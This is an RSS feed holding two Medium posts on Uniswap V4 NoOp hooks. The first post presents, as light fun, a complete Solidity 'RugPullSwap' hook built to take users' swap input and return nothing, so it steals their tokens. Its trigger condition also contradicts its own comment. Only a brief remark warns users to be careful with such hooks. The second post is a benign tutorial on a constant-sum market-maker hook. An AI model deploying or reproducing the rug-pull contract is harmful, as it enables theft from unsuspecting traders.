<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ivan Volovyk on Medium]]></title>
        <description><![CDATA[Stories by Ivan Volovyk on Medium]]></description>
        <link>https://medium.com/@ivikkk?source=rss-b97c40817f7a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X0sjFFnLqAR20ZCzvu8-8w.jpeg</url>
            <title>Stories by Ivan Volovyk on Medium</title>
            <link>https://medium.com/@ivikkk?source=rss-b97c40817f7a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 15:00:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ivikkk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Uniswap V4,  NoOp - Or how to build a Rug Pull Hook]]></title>
            <link>https://ivikkk.medium.com/uniswap-v4-noop-or-how-to-build-a-rug-pull-hook-4d80924286be?source=rss-b97c40817f7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d80924286be</guid>
            <category><![CDATA[ethereum-blockchain]]></category>
            <category><![CDATA[solidity-tutorial]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[uniswap]]></category>
            <category><![CDATA[uniswap-v4]]></category>
            <dc:creator><![CDATA[Ivan Volovyk]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 13:39:23 GMT</pubDate>
            <atom:updated>2025-02-03T16:16:51.252Z</atom:updated>
            <content:encoded><![CDATA[<h4>Uniswap NoOp guide</h4><h3>Uniswap V4, NoOp - Or how to build a Rug Pull Hook</h3><p>In the <a href="https://medium.com/@ivikkk/uniswap-v4-noop-hooks-the-quickest-guide-1d41c1129c66">previous</a> article, I claimed that my guide was the quickest, but recently, I have discovered something even quicker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dOM-PlQxkYRZ5aUx" /></figure><blockquote>This week as <a href="https://x.com/Uniswap/status/1885329579495080248">V4</a> was finally launched, let’s celebrate, relax, and have some fun 🎉</blockquote><h4>What we will build</h4><p>Today, we will build the sneaky hook that steals money from users. This hook will swap normally but if some requirements are met, it does an empty swap. An empty swap is a swap that takes the asset from the user but returns zero assets out 😝. We will use the “if swap size is greater than 1 ETH” for a trigger.</p><p>As the code reference, I will use <a href="https://www.v4-by-example.org/hooks/no-op">v4-by-example.org</a>, where you can find various examples of hook design.</p><p><em>⚠️ Going forward I assume that you know the basics of writing simple hooks ⚠️</em></p><h4>Let’s cover the NoOp part first</h4><p>As stated in docs:</p><blockquote>NoOp swaps allow hook developers to replace the v4 (v3-style) swap logic.</blockquote><p>To do it we first need to include Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG during contract creation. And allow the corresponding permissions.</p><pre>function getHookPermissions() public pure override returns (Hooks.Permissions memory) {<br>        return<br>            Hooks.Permissions({<br>                beforeInitialize: false,<br>                afterInitialize: false,<br>                beforeAddLiquidity: false,<br>                beforeRemoveLiquidity: false,<br>                afterAddLiquidity: false,<br>                afterRemoveLiquidity: false,<br>                beforeSwap: true, // HERE<br>                afterSwap: false,<br>                beforeDonate: false,<br>                afterDonate: false,<br>                beforeSwapReturnDelta: true, // and HERE<br>                afterSwapReturnDelta: false,<br>                afterAddLiquidityReturnDelta: false,<br>                afterRemoveLiquidityReturnDelta: false<br>            });<br>    }</pre><ul><li>To overwrite swap logic, beforeSwap must take the input currency and return BeforeSwapDelta.This delta struct will tell the router the amounts of assets to take from a user and what to expect in return.</li><li>When a beforeSwap hook returns a BeforeSwapDelta that is equal to params.amountSpecified, the subsequent swap operation is <em>skipped</em>, but money can be taken. The PoolManager (PM ) <em>assumes</em> you will do the swap properly using any curve or formula you want.</li></ul><pre>Currency input = params.zeroForOne ? key.currency0 : key.currency1;<br><br>// Here we take all user&#39;s funds provided<br>input.take(<br>    poolManager,<br>    address(this),<br>    uint256(-params.amountSpecified),<br>    false<br>);<br><br>// Here we return delta struct with:<br>// - the first value says what we will take all the amount provided<br>// - the second value says that we will return 0 assets back<br>return (<br>  BaseHook.beforeSwap.selector,<br>  toBeforeSwapDelta(int128(-params.amountSpecified), 0),<br>  0<br>);</pre><p>The fund movements will be as follows:</p><ol><li>The user will be sending TokenA to the PM, creating a debit of TokenA in the PM</li><li>We will take the actual ERC20 Token from the PM, keep it in the hook, and create an equivalent credit for that TokenA</li><li>These two debit and credit will net out, so all debts are settled</li></ol><p>To not overwrite the logic and skip NoOp we will return zero delta.</p><pre>return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);</pre><h4>Here comes the final code</h4><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.20;<br><br>import {BaseHook} from &quot;v4-periphery/src/base/hooks/BaseHook.sol&quot;;<br><br>import {Hooks} from &quot;v4-core/libraries/Hooks.sol&quot;;<br>import {IPoolManager} from &quot;v4-core/interfaces/IPoolManager.sol&quot;;<br>import {PoolKey} from &quot;v4-core/types/PoolKey.sol&quot;;<br>import {PoolId, PoolIdLibrary} from &quot;v4-core/types/PoolId.sol&quot;;<br>import {toBeforeSwapDelta, BeforeSwapDelta, BeforeSwapDeltaLibrary} from &quot;v4-core/types/BeforeSwapDelta.sol&quot;;<br>import {Currency} from &quot;v4-core/types/Currency.sol&quot;;<br>import {CurrencySettler} from &quot;v4-core-test/utils/CurrencySettler.sol&quot;;<br>import {SafeCast} from &quot;v4-core/libraries/SafeCast.sol&quot;;<br><br>contract RugPullSwap is BaseHook {<br>    using PoolIdLibrary for PoolKey;<br>    using CurrencySettler for Currency;<br>    using SafeCast for uint256;<br><br>    constructor(IPoolManager _poolManager) BaseHook(_poolManager) {}<br><br>    function beforeSwap(<br>        address,<br>        PoolKey calldata key,<br>        IPoolManager.SwapParams calldata params,<br>        bytes calldata<br>    ) external override returns (bytes4, BeforeSwapDelta, uint24) {<br>        // @Notice NoOp: if swap is exactInput and the amount is greater than 1 ether<br>        if (params.amountSpecified &lt; 1 ether) {<br>            Currency input = params.zeroForOne ? key.currency0 : key.currency1;<br><br>            input.take(<br>               poolManager,<br>               address(this),<br>               uint256(-params.amountSpecified),<br>               false<br>            );<br><br>            return (<br>              BaseHook.beforeSwap.selector,<br>              toBeforeSwapDelta(int128(-params.amountSpecified), 0),<br>              0<br>            );<br>        }<br><br>        return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);<br>    }<br><br>    function getHookPermissions() public pure override returns (Hooks.Permissions memory) {<br>        return<br>            Hooks.Permissions({<br>                beforeInitialize: false,<br>                afterInitialize: false,<br>                beforeAddLiquidity: false,<br>                beforeRemoveLiquidity: false,<br>                afterAddLiquidity: false,<br>                afterRemoveLiquidity: false,<br>                beforeSwap: true, // No-op&#39;ing the swap<br>                afterSwap: false,<br>                beforeDonate: false,<br>                afterDonate: false,<br>                beforeSwapReturnDelta: true, // No-op&#39;ing the swap<br>                afterSwapReturnDelta: false,<br>                afterAddLiquidityReturnDelta: false,<br>                afterRemoveLiquidityReturnDelta: false<br>            });<br>    }<br>}</pre><h4>Is this legal?</h4><p>Looks like yes. So you need to treat all hooks with BEFORE_SWAP_RETURNS_DELTA_FLAG extra carefully as it can have any swap-related logic inside.</p><p>It’s also a good reminder, that you need to specify some specific values when calling the swap in the pool directly from solidity smart contract.</p><pre>ISwapRouter.ExactOutputSingleParams({<br>    tokenIn: tokenIn,<br>    tokenOut: tokenOut,<br>    fee: ETH_USDC_POOL_FEE,<br>    recipient: address(this),<br>    deadline: block.timestamp,<br>    amountInMaximum: type(uint256).max,<br>    amountOut: amountOut,<br>    sqrtPriceLimitX96: 0<br>})</pre><p>I have seen a lot of similar code in V3 with amountInMaximum, or amountOutMinimum equals zero or maximum.</p><p>But you will probably be safe using the UI because the Uniswap router will simulate the swap before doing it, so it will know if the assets are returned and, if not, consider the pool to be a very bad price for the user.</p><p>Swapping any amount for zero is the worst possible price indeed :)</p><h4>Further considerations</h4><p>Also, you may have noticed that this works only in the case of an <strong><em>exactInput</em></strong> swap. But I’m curious if we can do something similar in the <strong><em>exactOutput</em></strong> case 🤔?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d80924286be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uniswap V4 NoOp Hooks, the quickest guide]]></title>
            <link>https://ivikkk.medium.com/uniswap-v4-noop-hooks-the-quickest-guide-1d41c1129c66?source=rss-b97c40817f7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d41c1129c66</guid>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[uniswap-v4]]></category>
            <category><![CDATA[ethereum-blockchain]]></category>
            <category><![CDATA[uniswap]]></category>
            <category><![CDATA[solidity-tutorial]]></category>
            <dc:creator><![CDATA[Ivan Volovyk]]></dc:creator>
            <pubDate>Tue, 18 Jun 2024 10:56:54 GMT</pubDate>
            <atom:updated>2024-06-18T10:56:54.482Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ztn7-AdKHcySJLLov4RzYA.png" /></figure><p>Today we will cover the latest addition to the <strong>Uniswap V4 Core family</strong>, the NoOp hooks.</p><blockquote>This feature provides ultimate flexibility and allows you to build any Dex, Marketplace, or just any contract that swaps one thing into another on top of the Uniswap.</blockquote><p>As I was part of Cohort 1 of <a href="https://x.com/AtriumAcademy">Uniswap Hook Incubator</a>, I was fortunate enough to be amongst 100 or so people who got the introduction to this concept the day after it was finally merged.</p><p>The <a href="https://github.com/haardikk21/csmm-noop-hook">code</a> for this article was provided by <a href="https://x.com/haardikkk">Haardik</a> during one of the many <a href="https://x.com/AtriumAcademy/status/1791157040686993527">workshops</a>, so shout out to his great <a href="https://github.com/haardikk21/csmm-noop-hook">work</a> 👏</p><p><em>🚨❗Going forward I assume that you know the basics of writing normal hooks, if not please consider reading these good explanations: [</em><a href="https://medium.com/tokamak-network/uniswap-v4-limit-order-hook-part-1-586233620584"><em>1</em></a><em>], [</em><a href="https://metatrust.io/blogs/post/uniswap-v4-mainnet-preview-part-1-uniswap-v4-overview"><em>2</em></a><em>]. Before proceeding, be sure to understand the concept of Flash Accounting, hook address formation, and Singleton Pool Manager contract.❗🚨</em></p><p>Also, I suggest reading comments inside the code blocks because a big part of the explanation is provided there.</p><h3>NoOp</h3><p>It allows you to remove the last parts of the required Uniswap V3 math from the Uniswap V4 Pool. You could now take full control of the user’s swap. For example, if the user said they want to sell 1 ETH for USDC, you can take 0.5 ETH of that 1 ETH and do your own thing with it, while letting the other 0.5 pass through normally.</p><p>That means you can replace Uniswap’s internal core logic for how to handle swaps or position modification with your custom logic — and this opens the door to creating anything from custom pricing curves and fee management solutions to the NFT exchange which will use complex traits rarity formula to calculate the price during swap.</p><p>In the most extreme use case, all logic is placed inside the hook contact and the Pool serves as an interface for the standardization of the swap function’s input and output arguments. This helps all custom pools share a common part, so they can be aggregated and included in the general order flow.</p><h4>In simple terms</h4><p>With normal hooks, you can block certain operations like donate()by reverting every operation in the beforeDonate()hook.</p><pre>function beforeDonate(<br>    address,<br>    PoolKey calldata,<br>    uint256,<br>    uint256,<br>    bytes calldata<br>) external virtual returns (bytes4) {<br>    revert (&quot;Don&#39;t want to have this function anymore&quot;);<br>}</pre><p>You can also prevent users from using <em>built-in</em> liquidity provision flow and write custom logic for it.</p><pre>// Disable standard adding liquidity through the PM<br>function beforeAddLiquidity(<br>    address,<br>    PoolKey calldata,<br>    IPoolManager.ModifyLiquidityParams calldata,<br>    bytes calldata<br>) external pure override returns (bytes4) {<br>    revert AddLiquidityThroughHook();<br>}<br><br>// Custom add liquidity function<br>function customAddLiquidity(<br>    ...<br>) external {<br>    // Unlocking the contract &amp; doing position manipulation inside the callback<br>    poolManager.unlock(<br>        abi.encodeCall(<br>            this.customAddLiquidityCallback,<br>            (...)<br>        )<br>    );<br>}</pre><p>But you will still be forced to use poolManager.modifyLiquidity()<strong><em> </em></strong>with V3 math under the hood.</p><pre>function unlockModifyPosition(<br>    ...<br>) external selfOnly returns (bytes memory) {<br>    // Here we are still bounded to x*y=k curve and V3 tick math<br>    (BalanceDelta delta, ) = poolManager.modifyLiquidity(<br>        key,<br>        IPoolManager.ModifyLiquidityParams({<br>            tickLower: tickLower,<br>            tickUpper: tickUpper,<br>            liquidityDelta: liquidity,<br>            salt: bytes32(ZERO_BYTES)<br>        }),<br>        ZERO_BYTES<br>    );<br>}</pre><p>The same goes for swaps, you can do some operations before and after the swap, but the <em>main logic</em> is unchanged. You still will abide by the curve.</p><p>But with NoOp you can say:</p><blockquote>“Screw it, I will handle it all by myself, specify the custom proportion for liquidity provision, and do swaps the way I like”.</blockquote><h4>What we are building</h4><p>Now is a good time to explain what we are building. We will start with the simplest case possible: CSMM Dex.</p><p>A CSMM is a pricing curve that follows the invariant x + y = k instead of the invariant x * y = k. You can find some good readings about the benefits of it <a href="https://medium.com/bollinger-investment-group/constant-function-market-makers-defis-zero-to-one-innovation-968f77022159">here</a>. This is theoretically the ideal curve for a stablecoin or pegged pairs (wstETH/ETH).</p><p>So, for the amount0 of USDT our user pays, we want to trade exactly amount1 of USDC, where amount0 = amount1. Using the standard curve we will always get some slippage because the price of an asset changes alongside the trade. We will never get exactly amount0 = amount1.</p><h3>NoOp how?</h3><p>Firstly, if we want to NoOp smth we need to specify the flag to notify every contract involved. So here is the list of new flags available.</p><pre>BEFORE_SWAP_RETURNS_DELTA_FLAG = 1 &lt;&lt; 149;<br>AFTER_SWAP_RETURNS_DELTA_FLAG = 1 &lt;&lt; 148;<br>AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG = 1 &lt;&lt; 147;<br>AFTER_REMOVE_LIQUIDITY_RETURNS_DELTA_FLAG = 1 &lt;&lt; 146;</pre><p>Currently, we can NoOp only swap(), addLiquidity(), and removeLiquidity() functions.</p><p>Also due to the increase in the flags combination possibilities the approach of <em>‘hook mining’</em> which some people used to do in the tests to find the salt that will give the address a specific format is not optimal anymore.</p><p>So we will use the deployCodeTo() Foundry cheat code to deploy our hook code on the existing address for testing.</p><pre>address hookAddress = address(<br>    uint160(<br>        Hooks.BEFORE_ADD_LIQUIDITY_FLAG |<br>            Hooks.BEFORE_SWAP_FLAG |<br>            Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG<br>    )<br>);<br>deployCodeTo(&quot;CSMM.sol&quot;, abi.encode(manager), hookAddress);<br>hook = CSMM(hookAddress);<br><br>(key, ) = initPool(<br>    currency0,<br>    currency1,<br>    hook,<br>    3000,<br>    SQRT_PRICE_1_1,<br>    ZERO_BYTES<br>);</pre><p>For this tutorial, we will only return deltas for the beforeSwap()hook, and now let’s talk about why.</p><h3>Who are deltas and why return them?</h3><p>We will deal with 2 types of deltas today:</p><ul><li>BalanceDeltas which occurs then you unlock() the PoolManager and need to zero them out before the transaction is finished</li><li>the return value of the beforeSwapHook()called BeforeSwapDelta</li></ul><p>Let’s start with the simplest, the first type.</p><h4>Balance deltas</h4><p>As you know were are certain functions in the PoolManager that could modify the pool balance. They all have onlyWhenUnlocked modifier. To use them you need to unlock() the PM, do the stuff you want inside the callback, and settle the balance deltas which occurs before the callback is closed.</p><p>In this example, we are doing it inside the addLiquidity() function. This is the custom function that overrides the default liquidity provision and always accepts both assets in equal proportions</p><p>Here is the pretty straightforward code:</p><pre>// Custom add liquidity function<br>function addLiquidity(PoolKey calldata key, uint256 amountEach) external {<br>    // Unlocking the PM<br>    poolManager.unlock(<br>        abi.encode(<br>            CallbackData(<br>                amountEach,<br>                key.currency0,<br>                key.currency1,<br>                msg.sender<br>            )<br>        )<br>    );<br>}<br><br>function unlockCallback(<br>    bytes calldata data<br>) external override poolManagerOnly returns (bytes memory) {<br>    CallbackData memory callbackData = abi.decode(data, (CallbackData));<br><br>    // Settle `amountEach` of each currency from the sender<br>    // i.e. Create a debit of `amountEach` of each currency with the Pool Manager<br>    callbackData.currency0.settle(<br>        poolManager,<br>        callbackData.sender,<br>        callbackData.amountEach,<br>        false // `burn` = `false` i.e. we&#39;re actually transferring tokens, not burning ERC-6909 Claim Tokens<br>    );<br>    callbackData.currency1.settle(<br>        poolManager,<br>        callbackData.sender,<br>        callbackData.amountEach,<br>        false<br>    );<br><br>    // Since we didn&#39;t go through the regular &quot;modify liquidity&quot; flow,<br>    // The PM just has a debit of `amountEach` of each currency from us<br>    // We can, in exchange, get back ERC-6909 claim tokens for `amountEach` of each currency<br>    // to create a credit of `amountEach` of each currency to us<br>    // that balances out the debit<br><br>    // We will store those claim tokens with the hook, so when swaps take place<br>    // liquidity from our CSMM can be used by minting/burning claim tokens the hook owns<br>    callbackData.currency0.take(<br>        poolManager,<br>        address(this),<br>        callbackData.amountEach,<br>        true // true = mint claim tokens for the hook, equivalent to the money we just deposited to the PM<br>    );<br>    callbackData.currency1.take(<br>        poolManager,<br>        address(this),<br>        callbackData.amountEach,<br>        true<br>    );<br><br>    return &quot;&quot;;<br>}</pre><p>And also straightforward but scary-looking insides of CurrencySettleTake library:</p><pre>function settle(Currency currency, IPoolManager manager, address payer, uint256 amount, bool burn) internal {<br>    if (burn) {<br>        manager.burn(payer, currency.toId(), amount);<br>    } else if (currency.isNative()) {<br>        manager.settle{value: amount}(currency);<br>    } else {<br>        manager.sync(currency);<br>        if (payer != address(this)) {<br>            IERC20Minimal(Currency.unwrap(currency)).transferFrom(payer, address(manager), amount);<br>        } else {<br>            IERC20Minimal(Currency.unwrap(currency)).transfer(address(manager), amount);<br>        }<br>        manager.settle(currency);<br>    }<br>}<br><br>function take(Currency currency, IPoolManager manager, address recipient, uint256 amount, bool claims) internal {<br>    claims ? manager.mint(recipient, currency.toId(), amount) : manager.take(currency, recipient, amount);<br>}</pre><p>We are trying to take the two tokens from a user in eq proportion, give them to the PoolManager and create the <em>‘debit’</em>, or issue <em>ERC6909Claims</em> on these assets for the hook contact so it can <em>own</em> them.</p><p>For simplification, you can imagine what the code above does this:</p><pre>function unlockCallback(<br>    uint256 amountEach<br>) external override poolManagerOnly returns (bytes memory) {<br>    manager.sync(currency);<br><br>    IERC20Minimal(currency0).transferFrom(<br>        msg.sender,<br>        address(manager),<br>        amountEach<br>    );<br>    manager.settle(currency0);<br><br>    IERC20Minimal(currency).transferFrom(<br>        msg.sender,<br>        address(manager),<br>        amountEach<br>    );<br>    manager.settle(currency1);<br><br>    manager.mint(address(this), currency0.toId(), amountEach);<br>    manager.mint(address(this), currency1.toId(), amountEach);<br><br>    return &quot;&quot;;<br>}</pre><p>So we first make what PM owns tokens to <em>someone </em>by transferring the user’s money to it. After that we make the hook to take money from him and zero out this debit.</p><h4>BeforeSwapDelta</h4><p>Before swap deltas is similar to balanceDeltas but the order is different:</p><ul><li>BalanceDelta is a packed value of (int128 currency0Amount, int128 currency1Amount).</li><li>BeforeSwapDelta varies such that it is not sorted by token0 and token1. Instead, it is sorted by specifiedCurrency and unspecifiedCurrency.</li></ul><p>This specified/unspecified order depends on the way the user wants to swap. For example, in an ETH/USDC pool, there are 4 possible swap cases:</p><ol><li>Exact Input for Output ETH/USDC, aka I want to trade 1 ETH for the maximum of USDC possible</li></ol><pre>amountSpecified = -1 * 1e18<br>specifiedCurrency = ETH<br>unspecifiedCurrency = USDC</pre><p>2. Exact Output for Input ETH/USDC, I want to get 3000 USDC for the minimum ETH possible</p><pre>amountSpecified = 3000 * 1e6<br>specifiedCurrency = USDC<br>unspecifiedCurrency = ETH</pre><p>3. Exact Input for Output USDC/ETH, I want to sell 3000 USDC for the maximum ETH possible</p><pre>amountSpecified = -1 * 3000 * 1e6<br>specifiedCurrency = USDC<br>unspecifiedCurrency = ETH</pre><p>4. Exact Output for Input USDC/ETH, I want to get 1 ETH for the minimum USDC possible</p><pre>amountSpecified = 1 * 1e18<br>specifiedCurrency = ETH<br>unspecifiedCurrency = USDC</pre><p>And we can see some causation, specifiedCurrency is always the currency in which the user is specifying the amount they’re swapping for. And unspecifiedCurrency is another currency.</p><p>This is written from the perspective of the user. So “<em>-”</em> means what the user is spending the token and “+” what he is receiving it.</p><p>This is just the format in which the swap router communicates with PM and hooks. And if we want to write our custom swap logic we need to return this delta in the beforeSwap hook with the proper amounts.</p><p>Let’s rewrite the example above for the stablecoin pair and our CSMM curve.</p><pre>#for USDC-USDT pool<br><br>#1. ExactInput USDC/USDT<br>specifiedCurrency = USDC<br>amountSpecified = -1 * x * 1e6 ## user will trade x USDC for the max of USDT possible y<br><br>unspecifiedCurrency = USDT<br>amountUnspecidied = x * 1e6 ## according to CSMM it will be the same amount<br><br>#2. ExactOutput USDC/USDT  <br>specifiedCurrency = USDT<br>amountSpecified = x * 1e6<br><br>unspecifiedCurrency = USDC<br>amountUnspecidied = -1 * x * 1e6<br><br>#3. Exact Input USDT/USDC<br>specifiedCurrency = USDT<br>amountSpecified = -1 * x * 1e6<br><br>unspecifiedCurrency = USDC<br>amountUnspecidied = x * 1e6<br><br>#4. Exact Output USDT/USDC<br>specifiedCurrency = USDC<br>amountSpecified = x * 1e6<br><br>unspecifiedCurrency = USDT<br>amountUnspecidied = -1 * x * 1e6</pre><h4>But whose perspective is BeforeSwapDelta from?</h4><p>To understand it let’s just look in the v4/core code where they are used. But we will not dive too deep, so let’s look into it from the perspective of how to stop the standard Pool.swap() from happening, so we can manipulate the tokens ourselves.</p><pre>// --- Pool Library ---<br>//  This is a swap function we want not to call<br>function swap(...)<br>    internal<br>    returns (...)<br>{<br>    // if amountSpecified == 0 we don&#39;t proceed with the standard swap<br>    if (params.amountSpecified == 0) return (BalanceDeltaLibrary.ZERO_DELTA, 0, swapFee, state);<br><br>    (...)<br>}<br><br>// --- Pool manager ---<br><br>function _swap(PoolId id, Pool.SwapParams params, ...) internal returns (BalanceDelta) {<br>    (...) = pools[id].swap(params); // &lt;- call of the Pool.swap()<br>}<br><br>function swap(...)<br>    external<br>    override<br>    onlyWhenUnlocked<br>    returns (BalanceDelta swapDelta)<br>{<br>    (int256 amountToSwap, BeforeSwapDelta beforeSwapDelta) = key.hooks.beforeSwap(key, params, hookData); <br><br>    swapDelta = _swap(<br>        id,<br>        Pool.SwapParams({<br>            tickSpacing: key.tickSpacing,<br>            zeroForOne: params.zeroForOne,<br>            // &lt;- here we pass amountSpecified = amountToSwap,<br>            // so if amountToSwap == 0 we stop Pool.swap()<br>            amountSpecified: amountToSwap, <br>            sqrtPriceLimitX96: params.sqrtPriceLimitX96<br>        }),<br>        params.zeroForOne ? key.currency0: key.currency1<br>    );<br>}<br><br>// ---- Hooks Library ----<br><br>function beforeSwap(...)<br>    internal<br>    returns (int256 amountToSwap, BeforeSwapDelta hookReturn)<br>{<br>    amountToSwap = params.amountSpecified;<br><br>    if (self.hasPermission(BEFORE_SWAP_FLAG)) {<br>        if (canReturnDelta) {<br>            int128 hookDeltaSpecified = hookReturn.getSpecifiedDelta();<br>            if (hookDeltaSpecified != 0) {<br>                // here is the zeroing out the amountToSwap<br>                amountToSwap += hookDeltaSpecified; <br>            }<br>        }<br>    }<br>}</pre><p>As we can see if hookDeltaSpecified eq — params.amountSpecified the swap will be omitted. So now this code in the beforeSwapHook()makes sense.</p><pre>BeforeSwapDelta beforeSwapDelta = toBeforeSwapDelta(<br>      int128(-params.amountSpecified), // So `specifiedAmount` = +100<br>      int128(params.amountSpecified) // Unspecified amount (output delta) = -100<br>);</pre><p>So we can simply think of it as a perspective of the hook itself.</p><p>If the user swaps 1 USDC for 1 USDT:</p><ul><li>user gives 1 USDC =&gt; balance0OfUser is ⬇️</li><li>hook gets 1 USDC =&gt; balance0OfHook is ️️⬆️</li></ul><p>So, the swap logic will be omitted, and all the token manipulation will happen inside beforeSwapHook() as we wanted.</p><p>Now is the time to finally finish the swap.</p><h3>Assets manipulations</h3><p>The code looks similar to the addLiquidity function. HereamountInOutPositive is the abs(params.ampuntSpecified).</p><p>And don’t forget that the swap-related asset provided by the user is now already in the PoolManager.</p><pre>if (params.zeroForOne) {<br>    // If a user is selling Token 0 and buying Token 1<br><br>    // Claim the token0 provided to the PM by the user on behalf of the hook<br>    key.currency0.take(<br>        poolManager,<br>        address(this),<br>        amountInOutPositive,<br>        true<br>    );<br><br>    // Transfer token1 to the user by burning the shares of the token owned by the hook<br>    key.currency1.settle(<br>        poolManager,<br>        address(this),<br>        amountInOutPositive,<br>        true<br>    );<br>} else {<br>    // If the user is selling Token 1 and buying Token 0<br><br>    // Transfer token0 to the user by burning the shares of the token owned by the hook<br>    key.currency0.settle(<br>        poolManager,<br>        address(this),<br>        amountInOutPositive,<br>        true<br>    );<br><br>    // Claim the token1 provided to the PM by the user on behalf of the hook<br>    key.currency1.take(<br>        poolManager,<br>        address(this),<br>        amountInOutPositive,<br>        true<br>    );<br>}</pre><p>Or we can again rewrite it this way:</p><pre>if (params.zeroForOne) {<br>    // If the user is selling Token 0 and buying Token 1<br><br>    // Claim the token0 provided to the PM by the user on behalf of the hook<br>    manager.mint(address(this), currency0.toId(), amountInOutPositive)<br><br>    // Transfer token1 to the user by burning the shares of the token owned by the hook<br>    manager.burn(address(this), currency1.toId(), amountInOutPositive);<br>} else {<br>    // Transfer token0 to the user by burning the shares of the token owned by the hook<br>    manager.burn(address(this), currency0.toId(), amountInOutPositive);<br><br>    // Claim the token1 provided to the PM by the user on behalf of the hook<br>    manager.mint(address(this), currency1.toId(), amountInOutPositive)<br>}</pre><p>Here we are just claiming the token transferred by the user to the PM and burning hook assets to send the user the same amount of another token.</p><p>That’s all, we are done.</p><h3>To sum it up</h3><p>In the end, all we need to write a custom CSMM Dex is:</p><ul><li>to use the PoolManager accounting system based on ERC-6909 to store the liquidity provided by LPs and also to store the assets provided by users during swaps</li><li>by specifying BeforeSwapDelta&#39;s first value we are turning off the core swap functionality completely</li><li>and just handling the swap by claiming the debit (surplus) of tokens which occurs then the user transfers the tokens to the PM before the swap</li><li>and transferring the corresponding amount of another token that is already owned by the hook (burning ERC-6909)</li></ul><h3>Some finishing thought</h3><p>This simple example only breaks the ice on the topic, because, as attentive readers might have noticed, many questions remain undisclosed:</p><ul><li>afterSwapHook was not covered at all</li><li>We need specifiedDelta = amountSpecified to turn off the swap. What if I need to have a standard swap still occur according to UniswapV4 math but only on part of the token provided?</li><li>What about unspecifiedDelta? It looks not used</li><li>Isn’t It easier to write CSMM Dex without Uniswap? it will take less code and be more straightforward?</li><li>Why we are trying to use Uniswap here if we are using none of its core logic at all?</li></ul><p>In the next article, we will explore more complex hooks and you will find the answers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d41c1129c66" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>